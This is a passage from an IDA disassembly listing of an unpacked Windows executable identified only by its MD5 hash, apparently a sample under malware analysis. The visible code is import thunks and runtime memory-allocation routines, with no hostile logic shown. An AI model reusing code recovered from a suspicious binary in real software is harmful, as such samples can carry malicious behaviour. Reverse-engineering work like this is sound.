;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	99E61426B253B050F2065873EC1636AC

; File Name   :	u:\work\99e61426b253b050f2065873ec1636ac_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 00004525 (  17701.)
; Section size in file		: 00004525 (  17701.)
; Offset to raw	data for section: 00001000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
CODE		segment	para public 'CODE' use32
		assume cs:CODE
		;org 401000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401000	proc near		; CODE XREF: sub_4033DC+39p
					; sub_4033DC+54p
		jmp	ds:dword_4080E0
sub_401000	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401008	proc near		; CODE XREF: sub_402DB8+14p
					; sub_402DD4+16p ...
		jmp	ds:dword_4080DC
sub_401008	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401010	proc near		; CODE XREF: sub_403230-2B6p
					; CODE:00403188p
					; DATA XREF: ...
		jmp	ds:dword_4080D8
sub_401010	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401018	proc near		; CODE XREF: sub_403230-31Ep
					; sub_403230-2E1p ...
		jmp	ds:dword_4080D4
sub_401018	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401020	proc near		; CODE XREF: sub_4033DC+3Fp
					; sub_4033DC+5Ap
		jmp	ds:dword_4080D0
sub_401020	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_402908+19p
					; sub_402908+55p ...
		jmp	ds:dword_4080F0
sub_401028	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401030	proc near		; CODE XREF: sub_403468+C3p
		jmp	ds:dword_4080CC
sub_401030	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401038	proc near		; CODE XREF: sub_4033DC+78p
		jmp	ds:dword_4080EC
sub_401038	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401040	proc near		; CODE XREF: sub_403468+8Bp
		jmp	ds:dword_4080C8
sub_401040	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401048	proc near		; CODE XREF: sub_402A6C:loc_402AA3p
					; sub_403A78+67p
		jmp	ds:dword_4080C4
sub_401048	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401050	proc near		; CODE XREF: sub_4039B0+26p
		jmp	ds:dword_4080C0
sub_401050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401058	proc near		; CODE XREF: sub_402A6C+23p
		jmp	ds:dword_4080BC
sub_401058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: sub_401098+Ap
		jmp	ds:dword_4080B8
sub_401060	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: sub_403A78:loc_403B20p
					; sub_403A78:loc_403B31p
		jmp	ds:dword_4080B4
sub_401068	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: sub_402CDC+6Bp
		jmp	ds:dword_408100
sub_401070	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401078	proc near		; CODE XREF: sub_402CDC+22p
		jmp	ds:dword_4080FC
sub_401078	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401080	proc near		; CODE XREF: sub_402CDC+55p
		jmp	ds:dword_4080F8
sub_401080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401088	proc near		; CODE XREF: sub_403A78:loc_403B40p
		jmp	ds:dword_4080B0
sub_401088	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401090	proc near		; CODE XREF: sub_403A78+7Bp
					; sub_403A78+8Cp
		jmp	ds:dword_4080AC
sub_401090	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401098	proc near		; CODE XREF: sub_403A78+71p

var_1C		= word ptr -1Ch
var_18		= word ptr -18h

		push	ebx
		add	esp, 0FFFFFFBCh
		mov	ebx, 0Ah
		push	esp
		call	sub_401060	; GetStartupInfoA
		test	byte ptr [esp+48h+var_1C], 1
		jz	short loc_4010B3
		movzx	ebx, [esp+48h+var_18]


loc_4010B3:				; CODE XREF: sub_401098+14j
		mov	eax, ebx
		add	esp, 44h
		pop	ebx
		retn
sub_401098	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BC	proc near		; CODE XREF: sub_4010FC+15p
					; sub_401904+54p
		jmp	ds:dword_4080A8
sub_4010BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C4	proc near		; CODE XREF: sub_4019DC+41p
					; sub_4019DC+B6p
		jmp	ds:dword_4080A4
sub_4010C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CC	proc near		; CODE XREF: sub_401364+2Fp
					; sub_4013C8+1Ep ...
		jmp	ds:dword_4080A0
sub_4010CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401364+56p
					; sub_4013C8+69p ...
		jmp	ds:dword_40809C
sub_4010D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_401904+17p
		jmp	ds:dword_408098
sub_4010DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_401904+2Ap
					; sub_4019DC+2Fp ...
		jmp	ds:dword_408094
sub_4010E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010EC	proc near		; CODE XREF: sub_401904+C2p
					; sub_4019DC+E4p ...
		jmp	ds:dword_408090
sub_4010EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010F4	proc near		; CODE XREF: sub_4019DC+EEp
		jmp	ds:dword_40808C
sub_4010F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4010FC	proc near		; CODE XREF: sub_401188+9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF4h
		mov	ebx, offset dword_4075D0
		cmp	dword ptr [ebx], 0
		jnz	short loc_401163
		push	644h
		push	0
		call	sub_4010BC	; LocalAlloc
		mov	[esp+10h+var_8], eax
		cmp	[esp+10h+var_8], 0
		jnz	short loc_401128
		xor	eax, eax
		mov	[esp+10h+var_10], eax
		jmp	short loc_401178
; ---------------------------------------------------------------------------


loc_401128:				; CODE XREF: sub_4010FC+23j
		mov	eax, [esp+10h+var_8]
		mov	edx, ds:dword_4075CC
		mov	[eax], edx
		mov	eax, [esp+10h+var_8]
		mov	ds:dword_4075CC, eax
		xor	eax, eax


loc_40113F:				; CODE XREF: sub_4010FC+65j
		mov	edx, eax
		add	edx, edx
		mov	ecx, [esp+10h+var_8]
		lea	edx, [ecx+edx*8+4]
		mov	[esp+10h+var_C], edx
		mov	edx, [esp+10h+var_C]
		mov	ecx, [ebx]
		mov	[edx], ecx
		mov	edx, [esp+10h+var_C]
		mov	[ebx], edx
		inc	eax
		cmp	eax, 64h
		jnz	short loc_40113F


loc_401163:				; CODE XREF: sub_4010FC+Cj
		mov	eax, [ebx]
		mov	[esp+10h+var_C], eax
		mov	eax, [esp+10h+var_C]
		mov	eax, [eax]
		mov	[ebx], eax
		mov	eax, [esp+10h+var_C]
		mov	[esp+10h+var_10], eax


loc_401178:				; CODE XREF: sub_4010FC+2Aj
		mov	eax, [esp+10h+var_10]
		add	esp, 0Ch
		pop	ebx
		retn
sub_4010FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401180	proc near		; CODE XREF: sub_401904+34p
					; sub_401904+3Ep ...
		mov	[eax], eax
		mov	[eax+4], eax
		retn
sub_401180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401188	proc near		; CODE XREF: sub_401218+71p
					; sub_4012A0+96p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		call	sub_4010FC
		mov	[esp+10h+var_C], eax
		cmp	[esp+10h+var_C], 0
		jnz	short loc_4011A5
		xor	eax, eax
		jmp	short loc_4011DF
; ---------------------------------------------------------------------------


loc_4011A5:				; CODE XREF: sub_401188+17j
		mov	eax, [esi]
		mov	edx, [esp+10h+var_C]
		mov	[edx+8], eax
		mov	eax, [esi+4]
		mov	edx, [esp+10h+var_C]
		mov	[edx+0Ch], eax
		mov	eax, [ebx]
		mov	[esp+10h+var_10], eax
		mov	eax, [esp+10h+var_C]
		mov	edx, [esp+10h+var_10]
		mov	[eax], edx
		mov	eax, [esp+10h+var_C]
		mov	[eax+4], ebx
		mov	eax, [esp+10h+var_10]
		mov	edx, [esp+10h+var_C]
		mov	[eax+4], edx
		mov	eax, [esp+10h+var_C]
		mov	[ebx], eax
		mov	al, 1


loc_4011DF:				; CODE XREF: sub_401188+1Bj
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401188	endp


; =============== S U B	R O U T	I N E =======================================



sub_4011E4	proc near		; CODE XREF: sub_401218+37p
					; sub_401218+56p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		mov	edx, [eax+4]
		mov	[esp+8+var_8], edx
		mov	edx, [eax]
		mov	[esp+8+var_4], edx
		mov	edx, [esp+8+var_8]
		mov	ecx, [esp+8+var_4]
		mov	[edx], ecx
		mov	edx, [esp+8+var_4]
		mov	ecx, [esp+8+var_8]
		mov	[edx+4], ecx
		mov	edx, ds:dword_4075D0
		mov	[eax], edx
		mov	ds:dword_4075D0, eax
		pop	ecx
		pop	edx
		retn
sub_4011E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401218	proc near		; CODE XREF: sub_401684+80p
					; sub_40172C+78p ...

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF8h
		mov	ebx, ecx
		mov	esi, eax
		mov	edi, esp
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [edx]
		mov	[ebx], eax
		mov	eax, [edx+4]
		mov	[ebx+4], eax


loc_401233:				; CODE XREF: sub_401218+6Bj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[esp+18h+var_14], eax
		mov	edx, [edi]
		mov	edx, [edx+8]
		mov	ecx, edx
		mov	ebp, [edi]
		add	ecx, [ebp+0Ch]
		mov	eax, [ebx]
		cmp	ecx, eax
		jnz	short loc_401265
		mov	eax, [edi]
		call	sub_4011E4
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[ebx], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax
		jmp	short loc_40127B
; ---------------------------------------------------------------------------


loc_401265:				; CODE XREF: sub_401218+33j
		add	eax, [ebx+4]
		cmp	edx, eax
		jnz	short loc_40127B
		mov	eax, [edi]
		call	sub_4011E4
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	[ebx+4], eax


loc_40127B:				; CODE XREF: sub_401218+4Bj
					; sub_401218+52j
		mov	eax, [esp+18h+var_14]
		mov	[edi], eax
		cmp	esi, [edi]
		jnz	short loc_401233
		mov	edx, ebx
		mov	eax, esi
		call	sub_401188
		test	al, al
		jnz	short loc_401296
		xor	eax, eax
		mov	[ebx], eax


loc_401296:				; CODE XREF: sub_401218+78j
		pop	ecx
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401218	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4012A0	proc near		; CODE XREF: sub_401870+82p
					; sub_401CF4+ABp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_20], eax
		mov	esi, esp
		mov	eax, [esi]
		mov	[esp+20h+var_14], eax


loc_4012B2:				; CODE XREF: sub_4012A0+B3j
		mov	ecx, [edx]
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ecx, eax
		jb	loc_401347
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jb	short loc_401347
		cmp	ecx, eax
		jnz	short loc_4012F6
		mov	eax, [edx+4]
		mov	ecx, [esi]
		add	[ecx+8], eax
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401343
		mov	eax, [esi]
		call	sub_4011E4
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_4012F6:				; CODE XREF: sub_4012A0+33j
		mov	ebx, eax
		mov	edi, [esi]
		add	ebx, [edi+0Ch]
		mov	edi, ecx
		add	edi, [edx+4]
		cmp	ebx, edi
		jnz	short loc_401310
		mov	eax, [edx+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		jmp	short loc_401343
; ---------------------------------------------------------------------------


loc_401310:				; CODE XREF: sub_4012A0+64j
		mov	ebx, [edx]
		add	ebx, [edx+4]
		mov	[esp+20h+var_1C], ebx
		mov	edi, [esi]
		mov	edi, [edi+8]
		mov	ebp, [esi]
		add	edi, [ebp+0Ch]
		sub	edi, ebx
		mov	[esp+20h+var_18], edi
		sub	ecx, eax
		mov	eax, [esi]
		mov	[eax+0Ch], ecx
		lea	edx, [esp+20h+var_1C]
		mov	eax, [esi]
		call	sub_401188
		test	al, al
		jnz	short loc_401343
		xor	eax, eax
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401343:				; CODE XREF: sub_4012A0+4Bj
					; sub_4012A0+54j ...
		mov	al, 1
		jmp	short loc_40135B
; ---------------------------------------------------------------------------


loc_401347:				; CODE XREF: sub_4012A0+1Bj
					; sub_4012A0+2Fj
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax
		mov	eax, [esi]
		cmp	eax, [esp+20h+var_14]
		jnz	loc_4012B2
		xor	eax, eax


loc_40135B:				; CODE XREF: sub_4012A0+A1j
					; sub_4012A0+A5j
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4012A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401364	proc near		; CODE XREF: sub_401684+6Ep
		push	ebx
		push	esi
		push	edi
		mov	ebx, edx
		mov	esi, eax
		cmp	esi, 100000h
		jge	short loc_40137A
		mov	esi, 100000h
		jmp	short loc_401386
; ---------------------------------------------------------------------------


loc_40137A:				; CODE XREF: sub_401364+Dj
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h


loc_401386:				; CODE XREF: sub_401364+14j
		mov	[ebx+4], esi
		push	1
		push	2000h
		push	esi
		push	0
		call	sub_4010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jz	short loc_4013C3
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_401188
		test	al, al
		jnz	short loc_4013C3
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_4013C3:				; CODE XREF: sub_401364+3Aj
					; sub_401364+4Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401364	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4013C8	proc near		; CODE XREF: sub_40172C+62p
					; sub_40172C+A9p
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, ecx
		mov	esi, edx
		mov	ebp, eax
		mov	dword ptr [ebx+4], 100000h
		push	4
		push	2000h
		push	100000h
		push	ebp
		call	sub_4010CC	; VirtualAlloc
		mov	edi, eax
		mov	[ebx], edi
		test	edi, edi
		jnz	short loc_401412
		add	esi, 0FFFFh
		and	esi, 0FFFF0000h
		mov	[ebx+4], esi
		push	4
		push	2000h
		push	esi
		push	ebp
		call	sub_4010CC	; VirtualAlloc
		mov	[ebx], eax


loc_401412:				; CODE XREF: sub_4013C8+29j
		cmp	dword ptr [ebx], 0
		jz	short loc_40143A
		mov	edx, ebx
		mov	eax, offset off_4075D4
		call	sub_401188
		test	al, al
		jnz	short loc_40143A
		push	8000h
		push	0
		mov	eax, [ebx]
		push	eax
		call	sub_4010D4	; VirtualFree
		xor	eax, eax
		mov	[ebx], eax


loc_40143A:				; CODE XREF: sub_4013C8+4Dj
					; sub_4013C8+5Dj
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4013C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401440	proc near		; CODE XREF: sub_401684+95p
					; sub_40172C+90p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	edi, ecx
		mov	esi, esp
		mov	[esp+28h+var_20], 0FFFFFFFFh
		xor	ecx, ecx
		mov	[esp+28h+var_1C], ecx
		mov	[esp+28h+var_18], eax
		add	edx, [esp+28h+var_18]
		mov	[esp+28h+var_14], edx
		mov	eax, ds:off_4075D4
		mov	[esi], eax
		jmp	short loc_4014D9
; ---------------------------------------------------------------------------


loc_40146E:				; CODE XREF: sub_401440+A0j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esp+28h+var_24], eax
		mov	eax, [esi]
		mov	ebx, [eax+8]
		cmp	ebx, [esp+28h+var_18]
		jb	short loc_4014D3
		mov	eax, ebx
		mov	edx, [esi]
		add	eax, [edx+0Ch]
		cmp	eax, [esp+28h+var_14]
		ja	short loc_4014D3
		cmp	ebx, [esp+28h+var_20]
		jnb	short loc_401498
		mov	[esp+28h+var_20], ebx


loc_401498:				; CODE XREF: sub_401440+52j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		mov	eax, [esi]
		add	ebp, [eax+0Ch]
		cmp	ebp, [esp+28h+var_1C]
		jbe	short loc_4014AC
		mov	[esp+28h+var_1C], ebp


loc_4014AC:				; CODE XREF: sub_401440+66j
		push	8000h
		push	0
		mov	eax, [esi]
		mov	eax, [eax+8]
		push	eax
		call	sub_4010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_4014CC
		mov	ds:dword_4075B0, 1


loc_4014CC:				; CODE XREF: sub_401440+80j
		mov	eax, [esi]
		call	sub_4011E4


loc_4014D3:				; CODE XREF: sub_401440+3Fj
					; sub_401440+4Cj
		mov	eax, [esp+28h+var_24]
		mov	[esi], eax


loc_4014D9:				; CODE XREF: sub_401440+2Cj
		mov	eax, offset off_4075D4
		cmp	eax, [esi]
		jnz	short loc_40146E
		xor	eax, eax
		mov	[edi], eax
		cmp	[esp+28h+var_1C], 0
		jz	short loc_4014FE
		mov	eax, [esp+28h+var_20]
		mov	[edi], eax
		mov	eax, [esp+28h+var_1C]
		sub	eax, [esp+28h+var_20]
		mov	[edi+4], eax


loc_4014FE:				; CODE XREF: sub_401440+ABj
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401440	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401508	proc near		; CODE XREF: sub_401684+35p
					; sub_40172C+100p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebp, [esp+28h+var_1C]
		mov	edx, eax
		mov	ecx, edx
		and	ecx, 0FFFFF000h
		mov	[esp+28h+var_18], ecx
		add	edx, [esp+28h+var_28]
		add	edx, 0FFFh
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ebx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ebx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_4015B6
; ---------------------------------------------------------------------------


loc_40155B:				; CODE XREF: sub_401508+B5j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebp+0], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_40157A
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_40157A:				; CODE XREF: sub_401508+6Aj
		mov	eax, [ebp+0]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_40158A
		mov	eax, [esp+28h+var_14]
		mov	[ebp+0], eax


loc_40158A:				; CODE XREF: sub_401508+79j
		mov	eax, [esi]
		cmp	eax, [ebp+0]
		jnb	short loc_4015B0
		push	4
		push	1000h
		mov	eax, [ebp+0]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010CC	; VirtualAlloc
		test	eax, eax
		jnz	short loc_4015B0
		xor	eax, eax
		mov	[ebx], eax
		jmp	short loc_4015BF
; ---------------------------------------------------------------------------


loc_4015B0:				; CODE XREF: sub_401508+87j
					; sub_401508+A0j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4015B6:				; CODE XREF: sub_401508+51j
		mov	eax, offset off_4075D4
		cmp	eax, [edi]
		jnz	short loc_40155B


loc_4015BF:				; CODE XREF: sub_401508+A6j
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401508	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4015C8	proc near		; CODE XREF: sub_401870+36p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], edx
		lea	esi, [esp+28h+var_20]
		lea	edi, [esp+28h+var_24]
		lea	ebx, [esp+28h+var_1C]
		mov	edx, eax
		mov	ebp, edx
		add	ebp, 0FFFh
		and	ebp, 0FFFFF000h
		mov	[esp+28h+var_18], ebp
		add	edx, [esp+28h+var_28]
		and	edx, 0FFFFF000h
		mov	[esp+28h+var_14], edx
		mov	eax, [esp+28h+var_18]
		mov	[ecx], eax
		mov	eax, [esp+28h+var_14]
		sub	eax, [esp+28h+var_18]
		mov	[ecx+4], eax
		mov	eax, ds:off_4075D4
		mov	[edi], eax
		jmp	short loc_401671
; ---------------------------------------------------------------------------


loc_401619:				; CODE XREF: sub_4015C8+B0j
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	[esi], eax
		mov	eax, [edi]
		mov	eax, [eax+0Ch]
		add	eax, [esi]
		mov	[ebx], eax
		mov	eax, [esi]
		cmp	eax, [esp+28h+var_18]
		jnb	short loc_401637
		mov	eax, [esp+28h+var_18]
		mov	[esi], eax


loc_401637:				; CODE XREF: sub_4015C8+67j
		mov	eax, [ebx]
		cmp	eax, [esp+28h+var_14]
		jbe	short loc_401645
		mov	eax, [esp+28h+var_14]
		mov	[ebx], eax


loc_401645:				; CODE XREF: sub_4015C8+75j
		mov	eax, [esi]
		cmp	eax, [ebx]
		jnb	short loc_40166B
		push	4000h
		mov	eax, [ebx]
		sub	eax, [esi]
		push	eax
		mov	eax, [esi]
		push	eax
		call	sub_4010D4	; VirtualFree
		test	eax, eax
		jnz	short loc_40166B
		mov	ds:dword_4075B0, 2


loc_40166B:				; CODE XREF: sub_4015C8+81j
					; sub_4015C8+97j
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_401671:				; CODE XREF: sub_4015C8+4Fj
		mov	eax, offset off_4075D4
		cmp	eax, [edi]
		jnz	short loc_401619
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4015C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401684	proc near		; CODE XREF: sub_401F80+Bp

var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	edi, esp
		mov	ebp, offset off_4075E4
		add	esi, 3FFFh
		and	esi, 0FFFFC000h


loc_4016A2:				; CODE XREF: sub_401684+8Aj
		mov	eax, [ebp+0]
		mov	[edi], eax
		jmp	short loc_4016EA
; ---------------------------------------------------------------------------


loc_4016A9:				; CODE XREF: sub_401684+68j
		mov	eax, [edi]
		cmp	esi, [eax+0Ch]
		jg	short loc_4016E4
		mov	ecx, ebx
		mov	eax, [edi]
		mov	eax, [eax+8]
		mov	edx, esi
		call	sub_401508
		cmp	dword ptr [ebx], 0
		jz	short loc_401722
		mov	eax, [ebx+4]
		mov	edx, [edi]
		add	[edx+8], eax
		mov	eax, [ebx+4]
		mov	edx, [edi]
		sub	[edx+0Ch], eax
		mov	eax, [edi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_401722
		mov	eax, [edi]
		call	sub_4011E4
		jmp	short loc_401722
; ---------------------------------------------------------------------------


loc_4016E4:				; CODE XREF: sub_401684+2Aj
		mov	eax, [edi]
		mov	eax, [eax]
		mov	[edi], eax


loc_4016EA:				; CODE XREF: sub_401684+23j
		cmp	ebp, [edi]
		jnz	short loc_4016A9
		mov	edx, ebx
		mov	eax, esi
		call	sub_401364
		cmp	dword ptr [ebx], 0
		jz	short loc_401722
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, ebx
		mov	eax, ebp
		call	sub_401218
		cmp	[esp+1Ch+var_18], 0
		jnz	short loc_4016A2
		lea	ecx, [esp+1Ch+var_18]
		mov	edx, [ebx+4]
		mov	eax, [ebx]
		call	sub_401440
		xor	eax, eax
		mov	[ebx], eax


loc_401722:				; CODE XREF: sub_401684+3Dj
					; sub_401684+55j ...
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401684	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40172C	proc near		; CODE XREF: sub_401FAC+10p

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], ecx
		mov	edi, edx
		mov	ebx, eax
		lea	esi, [esp+28h+var_24]
		mov	ebp, offset off_4075E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_40174F:				; CODE XREF: sub_40172C+82j
					; sub_40172C+C9j
		mov	eax, [ebp+0]
		mov	[esi], eax
		jmp	short loc_40175C
; ---------------------------------------------------------------------------


loc_401756:				; CODE XREF: sub_40172C+39j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax


